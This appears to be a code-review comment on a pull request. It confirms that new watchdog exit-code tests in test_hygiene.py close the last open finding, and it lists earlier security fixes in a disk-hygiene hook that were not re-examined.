The three new tests in test_hygiene.py (test_a_standing_down_watchdog_carries_mains_exit_code_not_zero with both main_result values as subtests, test_a_standing_down_watchdog_denies_when_the_outcome_is_unknown, and the updated stale-token test that now models the cleanup realistically via _reset_decision_state(0) instead of a bare reset) are discriminating rather than assumed-passing — they assert the specific exit code for each outcome rather than just "not 2" or "not 0" in isolation, and the unknown-outcome test pins the fail-closed default.

Net assessment

This closes the last open finding from this PR's entire review history (flagged across five prior rounds: code-review on 9d46879/8c3329f, security-review on 9d46879/8c3329f/24cbb7a). I don't have a new finding to raise against 25a6a2e.

Not re-litigated (unaffected by this commit, previously verified across earlier rounds)

• The _watchdog_fire-internal TOCTOU (closed by 9da9149) and the belt-mode mode-gate downgrade bug (closed by 9da9149).
• The removed DISK_HYGIENE_INTERPRETER_CACHE_TTL env override and the interpreter-cache validation shape in run-python-hook.sh (schema tag, verbatim PATH match, -x/-s/-nt, TTL, basename allowlist — including the Windows-backslash fix, now also test-covered per 8c3329f).
• _watchdog_marker_present's syscall-free contract.
• 24cbb7a's shellcheck/machine-specific-paths cleanup — dead-pattern removal and a placeholder-path comment edit, no functional or security-relevant delta.
  · Branch